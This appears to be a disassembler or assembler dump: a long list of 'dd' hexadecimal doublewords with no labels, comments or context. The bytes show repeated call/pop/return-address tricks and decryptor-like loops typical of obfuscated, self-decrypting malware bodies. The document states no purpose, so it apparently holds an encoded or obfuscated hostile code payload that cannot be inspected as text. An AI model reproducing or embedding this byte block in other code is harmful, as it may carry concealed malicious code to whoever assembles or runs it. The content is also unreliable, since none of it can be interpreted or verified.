		dd 358533D3h, 6A05EA15h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0B934C352h,	0E19036DDh
		dd 0FE8B6650h, 9240489h, 0EA24E59Dh, 8B006A05h,	4E8F9h
		dd 3FF0000h, 11E9001Fh,	0C3000000h, 0CFA88A3Dh,	5849C28Ah
		dd 0FEE96267h, 0A1F895C7h, 0FB8B6650h, 424448Bh, 0BE8h
		dd 0F88E9700h, 0EB9789F0h, 0EB7E837Eh, 6E852h, 8E9A0000h
		dd 0CE921CC5h, 8B5B5B5Fh, 7E900h, 864F0000h, 2C3EB2F3h
		dd 2444899Bh, 58D88B04h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 17C35545h, 850F8BE3h,	5, 3445BBBFh, 0D95FF43h
		dd 8905EA32h, 0EA24B59Dh, 0E0858905h, 0F05EDD9h, 3CE9F8BFh
		dd 89000002h, 0EA0B658Dh, 0D8858B05h, 6A05EDD9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0C030C357h, 38AC60Ch, 1800C735h, 8B000000h, 0EA1C999Dh
		dd 0DCB58B05h, 2905EDD9h, 0EA115985h, 0E5858B05h, 6A05EA29h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0A41EC352h, 0D268BC9h, 689D15Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 14C35242h, 5EEEF8ACh
		dd 76EE00BCh, 0B99D8B0Bh, 0E805EA2Bh, 13h, 0C30D0488h
		dd 69D3AE2Ch, 0E9EF4973h, 0B06A41h, 0B71A4352h,	858B5F12h
		dd 5EA1629h, 8E19589h, 468905EAh, 0D9D8904h, 9605EA25h
		dd 0ADBE6660h, 96506120h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 40C35343h, 20F18589h,	0B5FF05EAh, 5EDD9D8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0CAC35040h
		dd 0BBBE3Ah, 5CFEDCB7h,	5A0470BBh, 4E877h, 3FF0000h, 8F0F001Fh
		dd 15h,	10E9h, 726FE300h, 0BE9C90DBh, 304330A5h, 46D92011h
		dd 6E850CEh, 58000000h,	81270C4Fh, 2563BBA1h, 8B5B58CFh
		dd 0E9042444h, 8, 0E12989EAh, 0B8B6C4E8h, 8B0F008Bh, 0
		dd 4244489h, 55006A58h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8BDAD3D1h, 0E0858DDAh, 6A05EDD9h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0E971C353h, 33892E23h, 0EA12F99Dh, 13E89005h
		dd 0BF000000h, 0AE858BC6h, 3A5E444Ah, 63B42AEAh, 0DF04A260h
		dd 8B5176F0h, 505B5FFEh, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 5E98A9FFh, 85893A26h
		dd 5EA1B99h, 320D95FFh,	6A05EAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8E931C3h, 2A000000h
		dd 62A74073h, 61BDC5A9h, 0C7DF8B66h, 0EA25F585h, 305h
		dd 83D98B00h, 0EDD9E0BDh, 840F0005h, 2Ch, 0AC99589h, 3CE905EAh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 14EDC350h, 698B8A5Eh, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0CC93C355h, 0DCE35A9Ch, 0AE1A962Ah, 4E4ABB66h, 32FD8589h
		dd 0BD8305EAh, 5EA25F5h, 89850F03h, 89000004h, 0EA130995h
		dd 0E0BD8305h, 5EDD9h, 476840Fh, 0FFFC0000h, 0EDD9E0B5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0B9FD9F96h, 7A56E3F4h, 0D98B1989h, 128D95FFh
		dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 9ADE86C3h, 7D295D95h, 1C4D9D01h, 0B58B05EAh
		dd 5EDD9D4h, 0AE9h, 0CCFECC00h,	0E4047199h, 0C7A606A6h
		dd 1000106h, 258D0100h,	5005EA29h, 25078BBh, 24348974h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 25C35545h
		dd 2990CE57h, 514CA7EAh, 14E8h,	3FB44600h, 0CF62056Eh
		dd 9A1C4D44h, 4BDA477Bh, 5C9D5E31h, 61BD8B12h, 5B05EA30h
		dd 0E0B5FF5Fh, 6A05EDD9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0EF08C357h,	0BD06BF7Eh
		dd 0E8AAD3A1h, 6, 711DDC6Ch, 0BD8B87C0h, 5EA2F29h, 6995FF5Bh
		dd 6A05EA32h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 9CADC356h, 684FF425h, 0CE95F23h
		dd 0AB000000h, 0F86E0861h, 115ABAD0h, 8B69892Ah, 0EDD9D4B5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0F99D8B74h, 0F05EA07h, 68Ch, 25B58900h
		dd 8B05EA01h, 0EA088185h, 0C4868905h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0C404C356h, 30ADBD8Bh, 958B05EAh, 5EA0ADDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 40C35040h, 4B5F6341h
		dd 0EE804h, 20330000h, 0E88CB8ABh, 832B97C9h, 8C11E455h
		dd 800Fh, 0F55B0000h, 8904C283h, 0EA20898Dh, 20508905h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F5C35141h
		dd 0B9456781h, 23C496ECh, 0EA1C0D9Dh, 67858D05h, 0F05EDEBh
		dd 68Bh, 0E5BD8B00h, 8905EA19h,	0B886h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 29AD4039h, 0EA00E19Dh, 10E905h, 0F9300000h, 0F626A27Ah
		dd 0CB353FE1h, 3A205C6Bh, 6AA15Ch, 3215BD2Bh, 0B5FF05EAh
		dd 5EDD9E0h, 15719D8Bh,	95FF05EAh, 5EA163Dh, 0EF1BD8Bh
		dd 0E89605EAh, 5, 0FE05F200h, 0C8BA60CBh, 6160E662h, 5250505Bh
		dd 0FDE8B66h, 54BF6631h, 96585A32h, 0FFF9BF0Fh,	0EDD9E0B5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0B7BB2364h, 9A821231h, 1ABBC021h, 0FF74B332h
		dd 0EA15A995h, 0D8E0F05h, 60000000h, 8259589h, 0A6BB05EAh
		dd 613B1D34h, 0BD83D98Bh, 5EA115Dh, 5A840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0E409C356h, 37C44795h, 0BD8B1C23h, 5EA20C1h
		dd 2C999D8Bh, 669605EAh, 507A2ABFh, 51006A96h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 4BEAE540h
		dd 0D5F38166h, 0E0B5FF59h, 6A05EDD9h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1E4DC356h
		dd 8B38202Ah, 0EA06359Dh, 5E905h, 5A2B0000h, 0FF225338h
		dd 0EA1CC995h, 0E59D2905h, 0FF05EA02h, 0EDD9E0B5h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 57C6E3A4h, 0FF1307F9h, 0EA230D95h, 2870F05h,	8B000000h
		dd 31BD83FAh, 205EA06h,	7E840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 816618C3h
		dd 8BE975E7h, 0EA0C9585h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0BDAECEADh
		dd 0C7874F59h, 8A0FA354h, 0
		dd 0F0000C6h, 178Eh, 12E900h, 35BA0000h, 4A25B2D8h, 0ECC27F09h
		dd 0C7CB8171h, 601D8558h, 68C0Fh, 9D8B0000h, 5EA0B79h
		dd 97D85C7h, 5EAh, 0B5890000h, 5EA0C79h, 0FFF2E0E9h, 56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 764888C2h, 9CBB4AFDh, 8B5F90B6h, 0D48060C1h,	858D6168h
		dd 5EA298Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0AC35343h, 0C61DFB42h, 895040F9h, 6A2404h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 489A33C3h, 19BD2398h, 6A05EA2Ch, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0EC7C928Ah
		dd 0F23BEF6Bh, 6A9AFEh,	22D9D89h, 858D05EAh, 5EEA5DBh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 42C35040h
		dd 81DEDFF2h, 9365DBE3h, 6860F37h, 89000000h, 0EA14CD8Dh
		dd 5C08305h, 14850Fh, 8E80000h,	0A0000000h, 7E39C65Dh
		dd 0FC042C1h, 86h, 50905B00h, 19B2A4BBh, 880F9042h, 3
		dd 6ACEF380h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 8B50307Bh, 0EA1C55BDh, 6A5F05h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0BCC35141h, 704FECA0h
		dd 0A916E381h, 95FF7C02h, 5EA23E9h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0A4C35141h,	86BFFE91h, 68D0Fh
		dd 9D890000h, 5EA0B5Dh,	0D89D8D8Dh, 8B6605EDh, 0E8D1FFFEh
		dd 0Eh,	21BD86F1h, 0AF6EC901h, 91520E6Fh, 0D98ABE1Ch, 0D1BD835Fh
		dd 105EA02h, 62850Fh, 89530000h, 0EA1E11BDh, 26A5F05h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 29C35646h
		dd 761405D0h, 0A1940421h, 2AA58589h, 895005EAh,	6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8B7D73C3h, 0EA0AD99Dh, 95FFF505h, 5EA163Dh, 0DBFE9h
		dd 0E800h, 815D0000h, 0EEA5E5EDh, 0F19D8905h, 8B05EA2Bh
		dd 0EA2F05BDh, 87858D05h, 8A05EDC3h, 0CF8166FEh, 50908D57h
		dd 5E9h, 0B7D1B400h, 6A90A577h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0A50CC352h,	8A0F3D16h
		dd 0
		dd 303D8D89h, 0FF6405EAh, 35h, 64F1B300h, 2589h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 523D5BC3h, 9D8B247Eh, 5EA1715h, 24D19D03h, 85FF05EAh
		dd 5EA1C49h, 3005BD0Bh,	0BD8B05EAh, 5EA28C9h, 6AFF6Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0A8EE9AC3h, 5EC837B3h, 702CBF96h, 9D013B43h,	5EA31F1h
		dd 2581B5FFh, 0DBB705EAh, 144995FFh, 48E905EAh,	0F000001h
		dd 148Dh, 8E800h, 0F6850000h, 0B2B1A486h, 9D8B8644h, 5EA2B6Dh
		dd 519D335Bh, 0B005EA08h, 5370E600h, 14358589h,	335F05EAh
		dd 0EA13D59Dh, 8971E405h, 0EA009D85h, 0F613C05h, 10683h
		dd 0BE800h, 0CD1E0000h,	1EB2130Fh, 0E46E1C21h, 5BD0B70h
		dd 5B05EA30h, 81C8B60Fh, 0BABD64D3h, 6BA1Bh, 7E80000h
		dd 0AF000000h, 0DB0685F3h, 9509FBC4h, 5EA14ADh,	1C18B5Fh
		dd 0EA100195h, 4E8C105h, 8E9h, 937E7B00h, 412C6C41h, 0E2F76657h
		dd 1B99B509h, 0C82B05EAh, 19C58D89h, 0D18B05EAh, 8299D89h
		dd 6E905EAh, 8B000000h,	0EA0BBD9Dh, 9D858B05h, 6605EA30h
		dd 0CCA0F781h, 0FC07C083h, 8B00C083h, 0EA0CFD9Dh, 0FD03B05h
		dd 1283h, 0B9BD0100h, 0E905EA23h, 67h, 6ED9D89h, 8BF805EAh
		dd 0EA0B458Dh, 0E19D2305h, 0E905EA25h, 5, 1F129C44h, 1E18308h
		dd 41840Fh, 5F570000h, 0B45A583h, 31FE05EAh, 0EA0BADB5h
		dd 13E805h, 77DC0000h, 0DDE58530h, 0E343514Ah, 0CEA6C57h
		dd 6BD1DF0h, 8D0F51C3h,	0
		dd 95895B5Bh, 5EA309Dh,	258D9531h, 0E905EAh, 8D000000h
		dd 0EE1D2FB5h, 0D913BF05h, 6A4E87h, 1D358531h, 10E905EAh
		dd 55000000h, 0FCF0450Ch, 0E4F4DCB5h, 4A4914D6h, 0FF11C605h
		dd 0EA101595h, 92D2BB05h, 38B96293h, 8B000008h,	0EA11A59Dh
		dd 0FCE18305h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0AC35242h, 57FEF9ECh, 0B5897C61h, 5EA20C9h, 52006AFCh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0C03C5F7Eh, 0B8BF98h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 6E74C357h
		dd 0D22B7AACh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0AEC35545h, 0A9BD3E25h,	275166AEh, 3D9D8B56h, 5B05EA2Bh
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 4DC35545h, 6295915Dh, 35E4C3Fh
		dd 0EA1D359Dh, 0FEBF0F05h, 0BD8B5053h, 5EA07BDh, 880D5F5Fh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 9F11C353h, 42D3994Eh, 8C7AABAAh
		dd 0ADD958Bh, 0DB8105EAh, 107C9D12h, 0ACD8D8Bh,	6A05EAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 77456DC3h, 83BB6623h, 505B5773h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 7DFFD3E4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 8AC35646h
		dd 1D4676F3h, 819BD83h,	0F0005EAh, 5B84h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0BD8BC9EAh, 5EA02FDh, 0B8h, 0FDBD8900h, 8D05EA0Eh, 0EA4C218Dh
		dd 1B58905h, 0FF05EA26h, 14E9E1h, 387A0000h, 547BCF3h
		dd 0BAF48AF1h, 0CF297F76h, 52528905h, 8D29828Dh, 5EA2EEDh
		dd 25F5BD83h, 0F0005EAh, 43A84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0B70F9177h
		dd 0BD834055h, 5EA25F5h, 27840F01h, 0F9000004h,	25F5BD83h
		dd 0F0305EAh, 3E386h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 45FE770Ah, 0D86C1DAh
		dd 890FE43Dh, 3, 60FE8B66h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0BEC35141h, 0B58580D0h, 0C5BF66EBh, 0D98C669Fh
		dd 10858D01h, 0E18005EAh, 459D8B04h, 0A05EA2Fh,	3F840FC9h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 59EFC353h, 858962A9h, 5EA0C31h
		dd 1629858Bh, 10E905EAh, 60000000h, 5E35B8EAh, 0E6EBBF79h
		dd 3557223Ah, 8BEDABF3h, 0EA2D619Dh, 35853305h,	6A05EA15h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 4B78C352h, 0B52189Fh, 90291C0h, 11E9h, 7DD7CC00h
		dd 0FBECEC6Fh, 0C4AF7D97h, 0E780E25Fh, 0FA8BBDCBh, 0AFBF6690h
		dd 5E950B1h, 2000000h, 4E564F22h, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 6A358Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 1CC35545h, 0F88B666Ah
		dd 9E1BD8Bh, 0ED6805EAh, 60D7B52Ah, 76B96660h, 81616107h
		dd 0D9122404h, 6A2869h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0D38CD1C3h, 963DB767h, 0C1B5600Bh
		dd 0FF61C88Bh, 0EA320D95h, 41BD8B05h, 8905EA20h, 0EDD9E085h
		dd 0C99D8B05h, 0E905EA31h, 203h, 20559D31h, 858B05EAh
		dd 5EDD9D8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	76C35040h, 0F17FB6Ch, 0C7D8B7h,	18h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0D4C35646h, 0B6B7931Ch
		dd 75BD89h, 0B58B05EAh,	5EDD9DCh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0DBC35040h,	90D17753h, 66514672h
		dd 858BF98Bh, 5EA29E5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0A3C35747h, 0B14738AEh, 0FC9767F3h, 990CF81h
		dd 6892261h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0B6C35646h, 0D0B2E598h,	0CC8551B4h, 4143BB66h
		dd 1629858Bh, 8D8905EAh, 5EA082Dh, 6A044689h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 7101C355h, 7FF3C99Ch, 810F018Ch, 10h, 0BE9h,	0C66B8500h
		dd 0B18197AFh, 6B4E41E5h, 50DFBF0Fh, 0BE960h, 0A3FC0000h
		dd 388A2DC1h, 0F947AE3h, 0EE9F0h, 6F10000h, 66E8038Fh
		dd 1A65837Bh, 41DC909Bh, 24348961h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0C9C35343h,	4A73228h, 0C59D8B42h
		dd 0FF05EA12h, 0EDD9D8B5h, 2E38105h, 685D124Ah,	344563D3h
		dd 28E0Fh, 0DA8A0000h, 2C243481h, 0E9345A60h, 0Bh, 0D89BA281h
		dd 94953B28h, 8DAA3F90h, 0EDD9E085h, 55006A05h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F547F2DAh
		dd 89F98A50h, 81662404h, 0FFC370EBh, 0EA320D95h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0B5B5897Fh, 6105EA1Eh, 2CE5BD89h, 85C705EAh,	5EA25F5h
		dd 3, 0DDDB529h, 858905EAh, 5EA2C35h, 0D9E0BD83h, 0F0005EDh
		dd 0F84h, 5BD8900h, 0F805EA07h,	1EE9h, 0FB8B6600h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 8DC1C351h, 0C20AFC6Fh, 14E929C9h, 5D000000h,	8659824Bh
		dd 51028955h, 0D3D977CBh, 2EEC9182h, 6A28D55Ch,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 9B2BC357h, 3198501h,	0BD8B05EAh, 5EA32A1h, 0C8C0Fh
		dd 7E90000h, 0D4000000h, 4CAB04FEh, 0BD831D6Ah,	5EA25F5h
		dd 15850F03h, 0F000004h, 68Ch, 1D9D8B00h, 8305EA0Bh, 0EDD9E0BDh
		dd 840F0005h, 3FCh, 0E0B5FFF9h,	8B05EDD9h, 0EA20659Dh
		dd 5D9D8B05h, 0FF05EA2Ah, 0EA128D95h, 0FA8B6605h, 0D9D4B58Bh
		dd 810F05EDh, 6, 14BD8D89h, 6C705EAh, 10001h, 0C9A9BB66h
		dd 74BF6650h, 2434892Eh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 28C35747h, 12EF0C77h,	0BF357B60h, 0D9E0B5FFh
		dd 6A05EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0F67F5DC3h, 0B1B58938h, 0FF05EA2Bh, 0EA326995h
		dd 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0B8CBC42Bh, 85BD892Ch, 8B05EA2Eh, 0EDD9D4B5h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 546308BCh, 0E9845A1Fh, 12h, 752AB5BAh, 2D35B1B1h, 2366A036h
		dd 1E017CBDh, 9D89FB76h, 5EA0815h, 881858Bh, 0DE805EAh
		dd 38000000h, 4C429571h, 735510F3h, 0E1F08075h,	8519589h
		dd 895B05EAh, 0C486h, 0DA8B6600h, 0DD958BF9h, 6A05EA0Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 8CB4C353h, 6BC2424h, 85296B6Ch, 5EA2C29h
		dd 0F04C283h, 1388h, 0EE900h, 0FF30000h, 8BE8959h, 8B5B1AA5h
		dd 0B872BA38h, 6A205089h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 17DBC353h, 7BF80F0Ch
		dd 2377456Dh, 858D3AB7h, 5EDEB67h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 2DC35141h, 0FCA5C3D4h, 0B88689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B1FFF7C3h, 0F7F5C19Bh, 58E0Fh, 81660000h
		dd 6A377BC7h, 0FE900h, 2CBC0000h, 0A173C171h, 0A09DDAA9h
		dd 0EB030007h, 0E0B5FF3Ah, 0F05EDD9h, 0C8Eh, 68E0F00h
		dd 29000000h, 0EA2D21BDh, 3D95FF05h, 8B05EA16h,	0EA138DBDh
		dd 8B669605h, 14E950DFh, 18000000h, 595365B2h, 59694915h
		dd 37C14D53h, 0AB63ED96h, 9617623Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 2C35141h, 1108AAA1h, 525051E8h
		dd 0FF5F5F5Bh, 0EDD9E0B5h, 19BD8B05h, 0FF05EA12h, 0EA15A995h
		dd 0D8BF0F05h, 14E9h, 2419AB00h, 29D16E53h, 4D6B3A19h
		dd 0F964F7E9h, 0D4749DC6h, 5DBD8388h, 5EA11h, 39840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0AB9749C3h, 2DA4B251h, 50FCB72Fh,	0BAB335BBh
		dd 2434891Ah, 81D9D0Bh,	9CBB05EAh, 0FF7D2438h, 0EDD9E0B5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 87889760h, 0B3E537A6h, 0FB8B6667h, 1CC995FFh
		dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0E14DF3C3h, 3EAD5B24h, 0FF8D3EF5h, 0EDD9E0B5h
		dd 0F19D8B05h, 0FF05EA29h, 0EA230D95h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 8B922C07h, 0EA1E799Dh, 850F05h, 83000000h, 0EA0631BDh
		dd 840F0205h, 46h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 7FC35747h, 5D639F9Ch,	8BF204D7h, 0EA0C9585h
		dd 8880F05h, 0F000000h,	282h, 8B616000h, 0EA19BDBDh, 0C605h
		dd 1C159D8Bh, 85C705EAh, 5EA097Dh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 38C35242h
		dd 77DEAD7Bh, 0FFF31FE9h, 0DF8B66FFh, 1D9DBD8Bh, 0C18B05EAh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 69C35747h
		dd 8A7766ECh, 7307999Ah, 7C62BF66h, 298D858Dh, 6A05EAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E8B2A9C3h, 11h, 3519BAD9h, 0F65E2885h, 201DC5C9h, 0AE793F75h
		dd 0CF8166B6h, 905F4544h, 8A50D98Bh, 6A90F9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A9DC78C3h
		dd 9D8BEC8Fh, 5EA11DDh,	6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 213D38C3h, 6E9h, 20967000h
		dd 6AC398F4h, 0AE900h, 42610000h, 5E48E020h, 0C82EE016h
		dd 7A8709BFh, 80858D7Ch, 8B05EEB5h, 0EA0B91BDh,	5C08305h
		dd 0F98B6650h, 6A240489h, 0D98D8900h, 6A05EA24h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 964828CFh, 8B5B5068h, 0EA24CD9Dh, 0E995FF05h, 8D05EA23h
		dd 0EDD89D8Dh, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 3D706EF0h, 6AD1FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0D87ACFC3h, 1565BD8Bh, 0DF8B05EAh, 2D1BD83h,	0F0105EAh
		dd 8C85h, 79BD8900h, 6A05EA20h,	0DDBD8902h, 9005EA25h
		dd 248A0Fh, 52500000h, 9BEDBB66h, 14E8310Fh, 92000000h
		dd 1DECAE0Fh, 53185641h, 0FC221182h, 40A73ECFh,	5BD8C74Bh
		dd 6650585Ah, 6A90D88Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 4AB8C353h, 13159D8Bh
		dd 95FF05EAh, 5EA163Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 4CC35141h, 8B30FDB4h,	0EA05ED9Dh, 0D6FE905h
		dd 0E80000h, 5D000000h,	0B58AED81h, 6AF905EEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 5B6BC356h, 0BBE887DAh, 26E9F63Eh, 0C387858Dh, 6A05EDh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 30996DC3h, 29F55897h, 0EA1DF995h, 999D8B05h,	5005EA0Ah
		dd 0AE8h, 23D82C00h, 0CB94468Fh, 669C4F68h, 895FDE8Bh
		dd 9D8B2404h, 5EA0FD9h,	35FF64h, 29000000h, 0EA2C119Dh
		dd 25896405h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C8C35646h
		dd 809F8395h, 218B42FAh, 60D9D381h, 85FF0A75h, 5EA1C49h
		dd 8BFF6AF5h, 0C9B5FFF9h, 0E905EA1Bh, 6, 5AFC9F4Fh, 95FF2243h
		dd 5EA1449h, 0DFE9h, 0AE96000h,	67000000h, 5DB46C89h, 6345D172h
		dd 61ACB7C3h, 0E6F800B0h, 91BD0370h, 0E405EA1Dh, 0DF8B6671h
		dd 830F613Ch, 0B4h, 8BC8B60Fh, 6BAFEh, 0BD290000h, 5EA2AA1h
		dd 0BB66C18Bh, 0E8C15C70h, 0C5B1BB04h, 8B66562Fh, 0E2F766F9h
		dd 0CF80C82Bh, 51D18B6Ah, 0EBEDE3BFh, 2E95B13h,	0B7000000h
